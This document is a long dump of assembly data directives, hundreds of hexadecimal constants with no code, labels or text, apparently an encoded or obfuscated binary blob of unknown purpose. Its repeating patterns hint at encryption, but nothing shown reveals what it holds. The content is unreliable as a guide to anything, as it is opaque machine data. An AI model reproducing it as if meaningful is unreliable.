dd 747F7DC8h, 7FF12CC1h, 0DB2A17A9h, 61201E4Ch, 6653B01Ah
dd 5DDB3215h, 44973DEEh, 69883215h, 66443A9Bh, 64A93D15h
dd 6113215h, 8E5ADB74h, 0E94BCDEAh, 6622321Ch, 0EF1ECB75h
dd 66883215h, 33F9B974h, 93259A3Bh, 4028B7D2h, 668835BDh
dd 8E243215h, 66223210h, 9C5544A4h, 0D9EE6B2Bh, 9F25F5EAh
dd 0E6755275h, 4AA0CAh, 7E7EFAAh, 548D879Ch, 93DE35BDh
dd 7DBAF98h, 616135A5h, 0AA443215h, 0A11E8658h, 0B5EE0FE6h
dd 0F1305475h, 0A64F53C9h, 6625B61Ah, 8FE83215h, 66883266h
dd 3FD9BFECh, 8F259F9Eh, 6611321Bh, 0F100354Dh, 6B106BF5h
dd 0A711BA06h, 99EDBCC8h, 0CB0B3DC6h, 9EBBCDEAh, 66223EFCh
dd 0C04CF215h, 0EC93B078h, 0F1BA0B53h, 0AF97B913h, 6169A27h
dd 6608F594h, 0ADC50462h, 3DEA3532h, 5FA4BB74h, 9A8F9A33h
dd 0C5A7AF98h, 0EA2D35BBh, 66113212h, 0D06075h, 9925ED9Eh
dd 4252C6h, 7ABBFA94h, 75BB973h, 0ED25ED9Eh, 0CE0E6B90h
dd 67953D12h, 9A883215h, 548DB79Ch, 7DE35BDh, 661121FCh
dd 7808D115h, 3F920132h, 0B2070EA7h, 0E556E88Eh, 6A98844h
dd 8E7AB2EDh, 673FB71Ah, 0E5E43215h, 0CE9673A8h, 0E24B3212h
dd 6622331Ah, 6607B51Ah, 77613215h, 0E1443215h, 0DB93FB2Fh
dd 27E112E7h, 59782CA6h, 3365FBDFh, 662AB01Ah, 35713215h
dd 0FB32544Ah, 0D315533Ch, 0AAE7B22Ch, 0D142EFE3h, 3267B273h
dd 0EE1FCF3Dh, 6ACB6BFDh, 0CE113215h, 0DA544FE7h, 6479B90Bh
dd 9F9F4CE8h, 0E21E52BFh, 66883216h, 6997B973h, 66223E9Fh
dd 6616DB15h, 2B2C3215h, 0DF6D0369h, 924A536Dh, 0EF11324Fh
dd 6D01621h, 2F7A8C73h, 37435FA4h, 9C1A05ACh, 0B041B347h
dd 0A739830Ah, 97A331F4h, 7ADA2607h, 67BDFB94h, 97C53E42h
dd 0B25781A8h, 4F48FA3Ch, 3E8A37EDh, 77AD0937h, 3B223215h
dd 506C0EBFh, 1A96B5E5h, 3AC26CEDh, 6B9847D8h, 66113FFCh
dd 27B2FD15h, 5AA09840h, 0D5CEB682h, 0DF4041CEh, 48793230h
dd 8F857B5Ch, 0C2D3B311h, 0E7767A6Fh, 3E1D6CD4h, 3F8C1B8Fh
dd 5A7A8D75h, 3DAF416Fh, 7C80513h, 3CADCEBEh, 6223217h
dd 6614B61Ah, 53333215h, 80110h, 0EB43E39Eh, 0D6565188h
dd 6681DB12h, 249F3215h, 0C21AF7F7h, 9958C1A6h, 610D3DC6h
dd 69443215h, 66223390h, 0E21ECA15h, 6688321Ah, 8EB4B875h
dd 66223210h, 0D851A610h, 0EBE96D74h, 0D618C688h, 662FDB12h
dd 4A483215h, 0AB4F5469h, 479DA72Bh, 993FD7D0h, 6E903DC6h
dd 69883215h, 6644309Bh, 6D435215h, 79943DD5h, 6883215h
dd 664439FCh, 29E5FA15h, 1F30F730h, 0F1E326BDh, 58AD53ECh
dd 69223215h, 66113399h, 0E30BC715h, 61EC00DCh, 6AA63D10h
dd 69113215h, 6688349Ch, 66C63D15h, 8F223215h, 99EECC20h
dd 669BBA1Ah, 8F243215h, 66223213h, 0F192FF5Fh, 0E6870120h
dd 66443215h, 8EBFBF74h, 616824Bh, 668839FCh, 0A94D4815h
dd 0FE23DC70h, 5FE56D53h, 0B57753EDh, 6643B71Ah, 0E92D3215h
dd 66113214h, 6F0C3DEDh, 6443215h, 0E45DD894h, 7E95A2Dh
dd 0E387F21Eh, 66443234h, 64AB3D75h, 34113215h, 65063D4Dh
dd 443215h, 8F43FA9Eh, 6611325Eh, 818675h, 0C7E3F194h
dd 76B65A74h, 4A983215h
dd 668C8F31h, 8C453215h, 16985248h, 311597FDh, 668834FDh
dd 0C0C65415h, 3EFE7F91h, 64F8534Eh, 8F883214h, 66443206h
dd 0B4F599F8h, 17B657DBh, 0AE81EF5Fh, 78340BE5h, 0EB4A2B02h
dd 0CB9A6B88h, 0A7095212h, 1EAE0521h, 88A35475h, 0A19AF959h
dd 0B5775374h, 664AB11Ah, 0EDDA3215h, 0CE23FBA0h, 5B61CB12h
dd 9344323Bh, 54EBBF9Eh, 0E81E35BDh, 66883219h, 66C03D75h
dd 223215h, 7868BAEh, 0AF3DBBE9h, 69439A27h, 6622259Ah
dd 76F85215h, 0E4883215h, 5DB5F6ECh, 1D3B2AF9h, 0D3CF8989h
dd 7EB44E3h, 244A8847h, 0BCD53CB9h, 0E716D8D4h, 0B82487E7h
dd 3C953366h, 8FA3C33Ch, 142D39DBh, 67D5275h, 0E44B5374h
dd 66223213h, 0B158D094h, 2FE96409h, 4250C544h, 0AEA9524Ch
dd 0E770E39Eh, 0F98905D3h, 182B30Eh, 4F16C87Bh, 1FFB3DBh
dd 0E7BCC87Bh, 0F94505FBh, 60CB520Eh, 4C113215h, 0A664916Ch
dd 62CE3D7Dh, 223215h, 7935BABh, 0DFE896E6h, 76DDC53Fh
dd 7433FA94h, 8F701FAEh, 9977CE84h, 66D9BFE0h, 6259CB3h
dd 6601DB75h, 11473215h, 0B24410B8h, 6D912EE1h, 0B505A236h
dd 0E6E9C8BAh, 9925B2E5h, 95A852C6h, 0FAF1B373h, 6C6153E9h
dd 9443215h, 0A273B7C1h, 8704131Ch, 62096589h, 0C554A31h
dd 4226B924h, 6615F694h, 1EA53215h, 9F755804h, 4877B73Eh
dd 0EFED35BDh, 0CE8F4390h, 0F2FA5212h, 623F1C0h, 751CECABh
dd 9C035458h, 0E3CF5374h, 618A1C40h, 66113EFCh, 4F881F15h
dd 0EF6413EFh, 73E6EF72h, 87986383h, 668CF394h, 8FC73215h
dd 422EB511h, 422DBB49h, 0B6095475h, 0E713544Fh, 7E4117DCh
dd 0E706B4Eh, 66887519h, 660369Ch, 66223FFCh, 948B4F15h
dd 0BDDE7012h, 140227E1h, 0E12D0579h, 66113214h, 0EB0553ECh
dd 61EA9A9Ah, 662235FCh, 35EA0A15h, 0AD79C602h, 69B1E3EAh
dd 66222292h, 6C9A3D15h, 8F883215h, 66443210h, 40C2ACD0h
dd 9794B991h, 8F8F9A27h, 66443205h, 0B12BE0DDh, 0E7B1B05h
dd 31FF9BA1h, 2E05E5A5h, 0E7C5BB42h, 661136D2h, 6267B115h
dd 3A600E92h, 606369Ch, 6613B21Ah, 3FD93215h, 6647BF1Ah
dd 0D92D3215h, 697153C7h, 0EDEEC2AAh, 0EF1453CFh, 662637F5h
dd 8E923215h, 428CB511h, 4278BB49h, 662234FCh, 44BD0415h
dd 0EDBB4A5Ch, 0CE6A6790h, 6629DB12h, 79CD3215h, 83072A47h
dd 0A0BF6F4Ah, 27AE5A2Ah, 62983215h, 670B3D31h, 9E443215h
dd 0CFBCBF98h, 75F835BBh, 38883215h, 0BA471179h, 1363685Fh
dd 0B15F87B3h, 663663EAh, 8F245145h, 66223206h, 0D45C98C1h
dd 1287EA9Dh, 218D8ACBh, 459659Dh, 762220h, 99E9C59Eh
dd 6FAD52C4h, 32223215h, 5374B6EBh, 6C4DD66Ch, 62A8B174h
dd 0EF063E9Ch, 3FDBBBD4h, 7578B375h, 6946FD13h, 6943FDA2h
dd 66112B9Dh, 669CDB15h, 675F3215h, 6841C816h, 0D411E22Bh
dd 0FA622E68h, 39B79B0Dh, 0E772D58Eh, 71921621h, 6A032E05h
dd 6280B331h, 0E7223215h, 7606B1E4h, 32375209h, 47B691h
dd 8CEFDB94h, 979C1974h, 68F9A27h, 0C2FA5442h, 0E7446A64h
dd 719C7CAh, 66883CFCh, 0D41F7115h, 2210ED23h, 34D71613h
dd 0E57DFD8Ch, 0CE6327A8h, 0E22D3212h, 661132D8h, 6681DB75h
dd 10BC3215h, 61668B38h, 30046461h, 0E8534Bh, 7625E394h
dd 63A7B974h, 6169A0Dh, 730D1974h, 8F439A32h, 66223212h
dd 41FAFCD5h, 5D4FC2E3h, 0F4C23DD4h, 8F223215h, 6611321Ah
dd 0D677C24Bh, 0F45E10DAh, 4A0013F9h, 0EDD1D00Ah, 0CEA1BB90h
dd 6AAC5212h, 1F223215h, 0FF717243h, 831DA038h, 0E70B1438h
dd 0F74BBFFBh, 0D9436833h, 61B23760h, 0E347534Eh, 618A1500h
dd 660CB01Ah, 8FE83215h, 66443201h, 915E9941h, 9BA37B4h
dd 6666509Fh, 45B60C35h, 21E34FFCh, 0EF70CA9Eh, 0CEA78390h
dd 63C63D12h, 6223215h, 76A84EDh, 6689E7FCh, 6657DB15h
dd 69793215h, 82CE6AC4h, 879E0306h, 0F51005CAh, 0CC7BECE2h
dd 54045A45h, 6A013215h, 67CA3D31h, 9F223215h, 6645D67Dh
dd 4284BB15h, 0B0600694h, 3E034669h, 126DE420h, 0DCDACB34h
dd 610B65EEh, 31D8C094h, 0B638355Ah, 6685DB4Fh, 83353215h
dd 0CCEB9714h, 10949175h, 343175E5h, 0C509E0AFh, 9AC8B328h
dd 37038378h, 68B81BACh, 3F8E33C0h, 6978E21Ch, 66113F98h
dd 6680DB15h, 10663215h, 0D4EA59E2h, 8A905220h, 66883211h
dd 9960369Ch, 697A1611h, 66112B92h, 669CDB15h, 0B4F63215h
dd 39A61A8Eh, 0B46EABB7h, 0CF3D81F3h, 0E096ED83h, 0E3AB484Dh
dd 61B92A10h, 668EDB75h, 69BA3215h, 2B38CDAFh, 1F943374h
dd 68F9A37h, 6641BE1Ah, 1B9A3215h, 304633C9h, 3E41851Ah
dd 73C1F574h, 66259A32h, 69113215h, 66883390h, 262ECE15h
dd 66223CFCh, 57F41315h, 6965B845h, 92368C26h, 8F26E2B7h
dd 66113205h, 0C3C05F71h, 0C95C404Fh, 3FB5457Ch, 88FB9D4h
dd 6698327Dh, 8AC5CE15h, 66223211h, 8F353E9Ch, 66883212h
dd 0CDC4C462h, 8F2E6ACDh, 66113218h, 0E47644Bh, 0FBC3FB6h
dd 222B53EFh, 8F115842h, 66883219h, 9F9E3F30h, 490DDB9h
dd 5CB87353h, 437DA7EAh, 0E34B35BDh, 6622321Ch, 4A6475h
dd 7DE4C494h, 17D1CD74h, 6259A19h, 696CD395h, 66883291h
dd 0EFBC5315h, 0CE0BBB90h, 6619DB12h, 86963215h, 9D0878B3h
dd 0E3AB1222h, 61B91DA4h, 668838FCh, 0D94CDA15h, 6CC5BBB5h
dd 0ED9C294Eh, 0EFDA1619h, 6286B3F7h, 0E7223215h, 661136D7h
dd 429CB515h, 664BDB49h, 0BD8D3215h, 0FB9C7D2Ah, 111600DCh
dd 0D8CE8A7h, 0D3DDCA2Eh, 61B91DA4h, 973DCDECh, 9E439A27h
dd 0E7C1BB46h, 661136D6h, 6263B115h, 3A602E92h, 8F060E9Ch
dd 66113212h, 0D36C1B27h, 9993A721h, 0CE0C67A0h, 661ADB12h
dd 0BC33215h, 0CB1E9C40h, 0EBE68D2h, 594BFF3h, 68F9CD7h
dd 0FBAFB373h, 3EF1B31Ah, 7053E43h, 98305475h, 0B6BB53F8h
dd 6625DA75h, 0A2043215h, 99A50698h, 6641DBC2h, 7BCF3215h
dd 39CF408Dh, 67F0D894h, 67252F2Bh, 0CE052798h, 6A9F3D12h
dd 6883215h, 6644B01Ah, 0DD443215h, 0ED70E134h, 0CEA783A8h
dd 0D3CFCE12h, 618A00E4h, 6619DB75h, 29F43215h, 9090F895h
dd 3B9DB0A2h, 720ACAEh, 8FE896E6h, 6644321Dh, 0A6BF8870h
dd 0E842F6E6h, 0FB3DB974h, 8F439A39h, 66223213h, 631FCA59h
dd 9F2518D7h, 0D3B874D2h, 345F0600h, 15560FAFh, 0E752C50Bh
dd 0DEE944E7h, 9A741B89h, 0E41E524Fh, 66883217h, 0BCCFFA9Eh
dd 63E2F374h, 661126FCh, 0FE306515h, 0AD3B7A12h, 843663A0h
dd 2930B1C2h, 66DFB54Ah, 0C1F96726h, 4B3570BEh, 4C1B795Ch
dd 2F8DDA14h, 3B6E385Eh, 6623B61Ah, 69E83215h, 66883398h
dd 0E347CB15h, 618A1494h, 6608B11Ah, 72613215h, 0E1443215h
dd 0D9553312h, 0B05F008Ch, 226C405Bh, 0B2193C55h, 0ED07F866h
dd 0CE3E8398h, 6686DB12h, 348A3215h, 8E78C944h, 0CED6E942h
dd 6F895357h, 6632EA7Dh, 422EBB15h, 49351E94h, 0E9C0FA30h
dd 4944B315h, 8F6AFA30h, 66113204h, 62ADDEC3h, 47CDE05Dh
dd 0A4828080h, 0D15D7462h, 0E2879F9Dh, 66443214h, 0E99B63ECh
dd 0E75A1001h, 1BF055E4h, 6EADF33Bh, 3AE3B35Ch, 0E75F7578h
dd 0CA44F5E4h, 9A0ABB5Bh, 0E5063E9Eh, 0EFE436D1h, 0CEA4AFA0h
dd 664CDB12h, 42B13215h, 2E6AC728h, 9E0B5986h, 0EFC13DEAh
dd 9E223215h, 0BBCC0C94h
dd 0E387EFC8h, 66443269h, 0D79A62ECh, 34451221h, 78BB70AFh
dd 0DAAEB37Ah, 0E7048216h, 0B236D8DFh, 0A54AB318h, 0EF421011h
dd 600B6803h, 0DF40C74Dh, 66883211h, 755BDC94h, 0A8234AB3h
dd 750EF494h, 8FD14AB3h, 6644321Bh, 3B3A82C7h, 7CCF349Bh
dd 94CAF9F3h, 0D3CDECCAh, 618A1E88h, 661AB21Ah, 60613215h
dd 26443215h, 0BA0A9140h, 0B439DBECh, 6B61CDEAh, 0E3443215h
dd 965F4CA8h, 0EEB74CD1h, 4D428359h, 6947F2D4h, 66223B9Fh
dd 88915215h, 1C33547Bh, 0E3475395h, 618A1494h, 6610B31Ah
dd 0E5713215h, 0CE5903A8h, 0E22D3312h, 661131A4h, 668838FCh
dd 749ABC15h, 1BD9502Ch, 0E717433Eh, 0CC22982Bh, 0CEC13DBFh
dd 69223215h, 66113E97h, 0EE875215h, 66443215h, 97358973h
dd 62FDB174h, 0DFAC3E9Ch, 66443211h, 697BFC14h, 6611209Dh
dd 6A073D15h, 8F443215h, 66223212h, 0B3C050EAh, 3539F9DEh
dd 9A78FB7Dh, 0A5A36952h, 0DE12F122h, 0ED746C9Ch, 0A2C51609h
dd 66223211h, 661138FCh, 7B93F915h, 0BBDF9FB3h, 57599BC5h
dd 57D603EDh, 6E043DEDh, 69443215h, 6622309Eh, 0E7705215h
dd 668836F9h, 4250BB15h, 0B0D451A3h, 0E648FC95h, 96003ED3h
dd 6ACC3D4Fh, 69223215h, 66113494h, 66033D15h, 8F443215h
dd 6622323Bh, 6610B21Ah, 57713215h, 578303EDh, 24ACAEDh
dd 0EF11321Eh, 8E3B1609h, 691FEA9Dh, 66223F95h, 6619DB15h
dd 2F873215h, 1030D576h, 0A34ACB54h, 0EF113208h, 75611611h
dd 3D443215h, 282C014Ah, 0A356CECFh, 0E477409Eh, 0A892FC10h
dd 0DBA19E34h, 61B93D38h, 350C3D14h, 69443214h, 66222F92h
dd 0E7775215h, 8FC08AD2h, 66443204h, 6E137FD6h, 2F2756CBh
dd 648BBB21h, 0A3AEE506h, 0E7753E5h, 66113315h, 3B60BB48h
dd 664435FCh, 7C6D0415h, 1AE54668h, 0BA318F96h, 694435BAh
dd 66220291h, 8E405215h, 66883219h, 40EA5B71h, 4E27FE5Fh
dd 759A36CBh, 0EBE96B4Fh, 0C89C3B88h, 94A25212h, 6617DB97h
dd 56E83215h, 639D43A1h, 0B5DDC774h, 0F62EB2E9h, 66BEB61Ah
dd 33BC3215h, 662237A8h, 0EDFE3315h, 0A20B1639h, 63C43D11h
dd 6223215h, 7E95375h, 6689CEFCh, 6656DB15h, 0DA653215h
dd 8D9C374Eh, 822F60C9h, 0DD615F4Eh, 1F8453B4h, 6941CA96h
dd 6688A797h, 74AC5215h, 4A223215h, 0CA7DF395h, 4C117585h
dd 864D9754h, 0F4A3348Eh, 0A4D0B274h, 6682DB4Ch, 0B44C3215h
dd 0E9437A5Ch, 7379521h, 982F8274h, 52C316D5h, 616D6h
dd 90D6BA46h, 70BACAh, 69D4064Eh, 66223396h, 6BBCE15h
dd 0ABC82DABh, 7E4842Eh, 3006369Eh, 0A090D49Ch, 66883211h
dd 0E140F496h, 8F7E1621h, 6611321Fh, 8A4E2429h, 491106E0h
dd 8F88B3AAh, 66113212h, 4BEDDE03h, 8F8B0FB3h, 662232E5h
dd 6619BB1Ah, 0EC873215h, 66443217h, 62A95375h, 84986031h
dd 668CF094h, 0A4C73215h, 4236B511h, 679F3D49h, 9A883215h
dd 0E64B52BFh, 66223213h, 6611B31Ah, 81323215h, 7277594h
dd 8FDD4D95h, 66BBB71Ah, 77613215h, 85443215h, 8E57796Bh
dd 7969170Dh, 4DC3360Bh, 0EC7E222h, 0BA9B8F96h, 691135BAh
dd 66885991h, 6BCD3D15h, 8F223215h, 6611321Dh, 0E9FF6383h
dd 1D611FFFh, 662220FCh, 1BAC1815h, 98900958h, 0CDF88575h
dd 0BA4979D1h, 0EBB4A7C7h, 0C85E8988h, 6BAD5212h, 7E223215h
dd 0C2D494D0h, 41B960FBh, 3FB58039h, 6625DB75h, 19333215h
dd 0A12A4730h, 664EDA5Ch, 0F453215h, 0EEBF01EAh, 0C66D64D1h
dd 9925534Bh, 249452C6h, 7D6B973h, 0EE4DBA44h, 6ACF367Ah
dd 62E6B331h, 69113215h, 6688359Ch, 67C23D15h, 9A223215h
dd 49A0B79Eh, 0ECE835BDh, 664BDBCBh, 746F3215h, 0B584AA93h
dd 7BDEFCBh, 9E6BF67h, 0DC70530Eh, 2CA5402Ah, 4FD2E214h
dd 147B1FEDh, 0E52D78A1h, 66113219h, 668EBE1Ah, 0EF4B3215h
dd 66223215h, 6610B21Ah, 31703215h, 664436AAh, 0EDDA1B15h
dd 0A2901629h, 66883211h, 664434FCh, 39335B15h, 0CD83E3FCh
dd 69E89FE9h, 9325E5A2h, 25628946h, 95901245h, 46D87155h
dd 0EF9EBB47h, 3D78CE43h, 9D4CDBECh, 6F61CDEAh, 1C443215h
dd 4DC5120Ah, 2CDD73E6h, 774C775h, 4AD9879Ch, 0EE2D35BDh
dd 66113205h, 668839FCh, 5DDD5415h, 0CBE687E1h, 495FEF14h
dd 0E76EBB43h, 664436D3h, 62CCB315h, 0E1113215h, 0EFD41621h
dd 6CAD1601h, 0FB223215h, 72CCA24h, 50639DFFh, 0E6445AB3h
dd 0E22D3215h, 66113207h, 66883FFCh, 2900F315h, 58A412ADh
dd 234EEF8Dh, 69E85074h, 6644309Bh, 0E78315h, 7790EAEh
dd 9970327Fh, 0CE6B4BA0h, 71AA3D12h, 69113215h, 6688239Fh
dd 6648DB15h, 40473215h, 0A7FD00A2h, 0AD04DB35h, 0F3BB7FF5h
dd 618A06F4h, 6610B21Ah, 69703215h, 66443B9Fh, 0D8445215h
dd 8C910AFEh, 527753DEh, 0A2C56831h, 66223211h, 6618DBEDh
dd 1F023215h, 68573956h, 0EDE5D47Bh, 0CE1F8398h, 674FC712h
dd 2F5C3550h, 553E1B94h, 679014FCh, 0BB5919C2h, 66443DFCh
dd 1C9BB915h, 0D1CD0C77h, 9522C80Dh, 78CE5103h, 629C6440h
dd 0EF113215h, 8F896CE0h, 73CB3D48h, 8F223215h, 66113205h
dd 0DB59A8C7h, 0CABA9EC7h, 0B34E7BFh, 87958827h, 6839BF9Ch
dd 2435BDh, 4513F194h, 7D0B973h, 994DB2FCh, 0A7ADC7EAh
dd 9F22323Fh, 61903D75h, 69883215h, 6644339Dh, 0EBA9CA15h
dd 61B93CA4h, 6689BF1Ah, 99BC3215h, 420EB324h, 5CBC1ACDh
dd 0E5AC3E9Eh, 0A7C536D1h, 5C8F1ACDh, 661134FCh, 1236EF15h
dd 0EF4F4EAAh, 0C9FE8798h, 73903D12h, 8F883215h, 66443205h
dd 0BEB225DAh, 1801C492h, 6AE72F4Fh, 0B3A431D2h, 6632BB1Ah
dd 6DF83215h, 0C0883215h, 0D4BF9B45h, 0B73E4083h, 5E90BD5Ah
dd 2ACC665Bh, 66DDB71Ah, 0E12D3215h, 66113205h, 668839FCh
dd 0E7459B15h, 1D7918EEh, 142291B3h, 62F0B373h, 0E34B1C59h
dd 66223262h, 3041CAECh, 99B9CDABh, 42300350h, 0E77C6C11h
dd 9920CDE3h, 35D8CE50h, 664434AEh, 3DFABB15h, 649F414h
dd 668826FCh, 0C50F4E15h, 7B5EEB13h, 7E384CC4h, 4959CEB9h
dd 1AE3E86Eh, 7E1B9C6h, 76D0B79Eh, 6B6135BDh, 71443215h
dd 7F9C9A86h, 0EA87B664h, 0C280559Bh, 664426FCh, 0D6117B15h
dd 0D1C1B9C6h, 0AAB7D039h, 0EA71047Dh, 7F5BD262h, 62FDDBFFh
dd 36703215h, 0E760069Eh, 662236D1h, 0E7715215h, 17D42C7h
dd 9B908A01h, 74352C9h, 0EF15DE96h, 6D21611h, 6640BD1Ah
dd 0D8443215h, 0D91EB129h, 0AFB953DDh, 0A6C55475h, 0E72D7DD0h
dd 66113215h, 5A749E74h, 0E3C03D15h, 69223214h, 6611389Ch
dd 0EF875215h, 66443215h, 5A435375h, 0B8953D38h, 8F77CDEAh
dd 6644321Eh, 0CF9AE8Eh, 3E0C1F07h, 5AD514CEh, 0FFC03D3Bh
dd 9F223215h, 0E41E0229h, 66883712h, 6656BE1Ah, 6BCB3215h
dd 13113215h, 0EFACAD12h, 4A8BE886h, 0FF66198Fh, 0E01E0B29h
dd 9977CD88h, 664FB51Ah, 60CB3215h, 0BF113215h, 5905A3B0h
dd 69050E94h, 6626FC97h, 6A933D15h, 69883215h, 66443498h
dd 66A93D15h, 5A113215h, 0C0E3D4Fh, 8FBBCDEAh, 66223201h
dd 16E35FC3h, 0DB0409C4h, 835E15EAh, 1730B429h, 773A6FDAh
dd 0E2876D29h, 99BBCD5Ch, 69430EE9h, 6615B897h, 1CB4CE15h
dd 9973B41Ah, 8FDBCDEAh, 6611366Eh, 77FB875h, 66458C43h
dd 94233215h, 0EE1E524Bh
dd 66883200h, 664422FCh, 0A6E6715h, 0BF5EF99Ch, 0AC4A57AEh
dd 6F602D8Bh, 0ED446254h, 5F706DECh, 220C3DE7h, 8F443211h
dd 66223205h, 0A2FE5C1Ch, 693AB80Ah, 943A4ADBh, 7EEDB476h
dd 661134FCh, 6FD50715h, 0E1B4935Dh, 31707DEFh, 34716D4Fh
dd 6688B11Ah, 8F1E3215h, 66223212h, 0B3A45524h, 71B9582h
dd 99BB8C43h, 970BCDEAh, 78A9524Bh, 9A5616h, 6B55E394h
dd 0E7445274h, 8EEAFECCh, 66883218h, 780C120Fh, 4C18ACEAh
dd 0ED578EF1h, 9D6CB210h, 0E0AD534Dh, 8FDDCDEBh, 66113213h
dd 7CE8593Ah, 63AD2A5Dh, 83223215h, 8960004Fh, 0E287FB90h
dd 664431A6h, 662239FCh, 0A9DD0615h, 8434129Bh, 6FE881BAh
dd 6B2B8798h, 6DF835BDh, 65883215h, 12D4F184h, 0AA11376Ch
dd 0E743DCA9h, 12CB1611h, 6ACF51D9h, 62E6B331h, 0E7113215h
dd 0AAFC71FCh, 664ADB76h, 0FAAD3215h, 6BD40B9Ah, 0ED07AC6Fh
dd 30E17E29h, 4226B347h, 216816B5h, 0C632604Ah, 0E7597076h
dd 5D6532E7h, 3CC61B4Fh, 0A367B375h, 772E4C0h, 0EF26DE96h
dd 74A01619h, 0AEA072A5h, 61CD3D4Ch, 69223215h, 66113394h
dd 1326C715h, 77CF3DE8h, 6223215h, 6EF85375h, 24883215h
dd 0A0D2CDFh, 7EC9761h, 0C4AF64ECh, 0A7B14136h, 0E7023AF3h
dd 0CEBFA1E3h, 38E01B7Ah, 0A709CB3Ch, 7ACF0D87h, 91A95475h
dd 0E7C0C574h, 668833D4h, 0ED225215h, 60AC3DD7h, 0E7113215h
dd 0EF5C8C3h, 624536Ch, 0B3C7FA94h, 69700838h, 0E7E9FAAAh
dd 1B2C78D2h, 2EE5B307h, 4F46457Ch, 2E67B3DAh, 0E713457Ch
dd 1B4A78FAh, 57E4CB07h, 577603E2h, 6642DBE2h, 0F3453215h
dd 6FF77A0Dh, 756196E6h, 0C0443215h, 2F27BD2Dh, 0FBFC726Ch
dd 438A677Ch, 7F83C04Fh, 21E4E7EDh, 0D542A0EAh, 5A7BB2F9h
dd 0E696D195h, 0ADDC13F6h, 6E06C195h, 0E6D3CD4Ah, 8FBECD62h
dd 66223212h, 0CCBE7128h, 0EBAD8143h, 0CE493B80h, 31985212h
dd 734D4CEh, 4189B79Eh, 8F2435BDh, 66223204h, 91188021h
dd 40AEA011h, 0DBD309E7h, 0E26196DDh, 0A694539Dh, 66FDB71Ah
dd 0EE4B3215h, 6622321Eh, 661134FCh, 81CE4215h, 0A0850CF4h
dd 0CE242B90h, 75F87512h, 31883215h, 0DF272934h, 6F6D4977h
dd 7101F75Fh, 0C9D9CCFEh, 0B42CC8BDh, 69F6A8B2h, 66113399h
dd 0D377C715h, 61EC3EF4h, 66223CFCh, 12F65115h, 0DF717363h
dd 330666BDh, 0EB683AB8h, 0CD692890h, 0E9875212h, 66443210h
dd 12EDB373h, 0FCA76574h, 0B677534Ch, 6645B11Ah, 0EDB3215h
dd 66117496h, 69AC269Ch, 66443391h, 0B6DDCE15h, 0A5A63D75h
dd 668839FCh, 6DDF2115h, 0A89B453Eh, 0DEB257D7h, 668EDB74h
dd 9E303215h, 1AAD8BF3h, 0E31EF290h, 668832CFh, 1DA5B375h
dd 6937B71Dh, 66113691h, 33335415h, 0E3CF5356h, 618A2AA0h
dd 220F8875h, 7706B9Ch, 0E34BF290h, 6622327Dh, 7F94F4E9h
dd 2A8F9A13h, 6654BE1Ah, 0EF2D3215h, 6611321Fh, 668837FCh
dd 5AD3B615h, 8F4AD24Dh, 8FC8E809h, 66883201h, 0B2679D87h
dd 3192E5BCh, 223E66A6h, 9767B3B8h, 170FA8D9h, 6AC387EAh
dd 0EBE935BDh, 0CDF02890h, 0E64BCE12h, 66223219h, 6617BF1Ah
dd 0E4873215h, 66443215h, 642E2EAh, 8F9054ECh, 7E9752Fh
dd 661EF37Dh, 4236BB15h, 66113EFCh, 0E6B68C15h, 7ACD8536h
dd 0E49AA323h, 6D9C3DADh, 8F883215h, 66443213h, 0E7F75504h
dd 0B6EE8252h, 6948B7E0h, 66442790h, 2A925215h, 70F7B373h
dd 0C26153C0h, 69443215h, 66223399h, 0E398CE15h, 6127EEA0h
dd 6645B91Ah, 6DE3215h, 0D2B973h, 783E7AFh, 6629CA7Dh
dd 4226BB15h, 859861E0h, 668CF194h, 8DC53215h, 66223211h
dd 3A352E92h, 8FAC069Ch, 6644321Bh, 6B0BFF7Dh, 0C525E983h
dd 0FB35386Ch, 6EAD0E6Ch, 2C223215h, 3146F672h, 0EB339B05h
dd 0CD374190h, 0B0A95212h, 9970FC9Eh, 0A683CAC5h, 6660B71Ah
dd 423215h, 0ED77EB9Eh, 426153EBh, 8F443215h, 66223207h
dd 0C30A81B9h, 0C73BA09Eh, 3883937Ch, 0BF54CECEh, 22980259h
dd 0EDE82E31h, 0E1F08CDAh, 7432E30h, 6603B81Ah, 6B613215h
dd 0B4443215h, 0B0B82BDCh, 0FBE5D1A7h, 8DBFCEBFh, 0C8F152D6h
dd 662235FDh, 52276B15h, 4368C109h, 3FB78D1Ah, 0EF2D5274h
dd 66113214h, 0D305B9E9h, 9F439DC9h, 66075F7Dh, 4215BB15h
dd 66883FFCh, 0D5549315h, 7454E52Ah, 0C0EACF54h, 0EFDB4F36h
dd 52C561DEh, 9F670931h, 5D246A4Eh, 3DD3CB50h, 664FDB75h
dd 699B3215h, 41BA6F5Ah, 0FB9A0823h, 692453FDh, 76CAE9A2h
dd 7F113215h, 1E4B0B1h, 48BD0E53h, 8E983C12h, 8F2F86A2h
dd 6688321Bh, 525F0606h, 9957D276h, 0B2CB44BAh, 7D20613h
dd 0B2C6746h, 3B55C614h, 559BF794h, 0E7CD3239h, 4670F6E0h
dd 3BC9BB6Dh, 6512F114h, 6680DB4Eh, 0CAF3215h, 0C66E5BD7h
dd 0D6EEC3C9h, 6688329Dh, 0E408B44h, 2A0B04B6h, 3C483631h
dd 0E8CF094h, 0EFB804B6h, 0CE05DB80h, 0DC43CA12h, 426D1D48h
dd 0BCB3785Fh, 2C2AD0D4h, 0C216D894h, 0B68928C5h, 6656DB4Fh
dd 99613215h, 7EBEB378h, 88174357h, 0DD8B0D4Eh, 3E03B0D6h
dd 661D8B44h, 8F093215h, 21DE6649h, 0A7A3F314h, 218B6649h
dd 8FD1239Eh, 66443218h, 0D0769E25h, 0D67CCE9Dh, 4187B3D8h
dd 6FD1BBBFh, 8F259A3Dh, 6611321Ch, 7C876C46h, 5A7CDFA8h
dd 4216CD7Eh, 62D5B34Dh, 8F883215h, 66443218h, 0E25AD6A3h
dd 118697BAh, 2875A090h, 4230CD1Ah, 4226B931h, 6615F694h
dd 8FE83215h, 66443201h, 9AA1F636h, 9B6B504Bh, 269C6D33h
dd 0D01D202Bh, 0A29A816Eh, 9F93F1ABh, 0DFD95345h, 25E26EA1h
dd 42FFC394h, 0AE106A71h, 4B401B4Ch, 7D864A7Ch, 65A93D75h
dd 69113215h, 0E987CCA2h, 66443214h, 0E31953EDh, 61B91A1Ch
dd 66E1B01Ah, 0E7243215h, 4C50D6E6h, 0E32A534Ch, 612015FCh
dd 6611B11Ah, 0E72D3215h, 66113203h, 6686DA75h, 8AF63215h
dd 0F4002554h, 0A8644B91h, 0CF0E1753h, 0EC4B534Dh, 6622321Fh
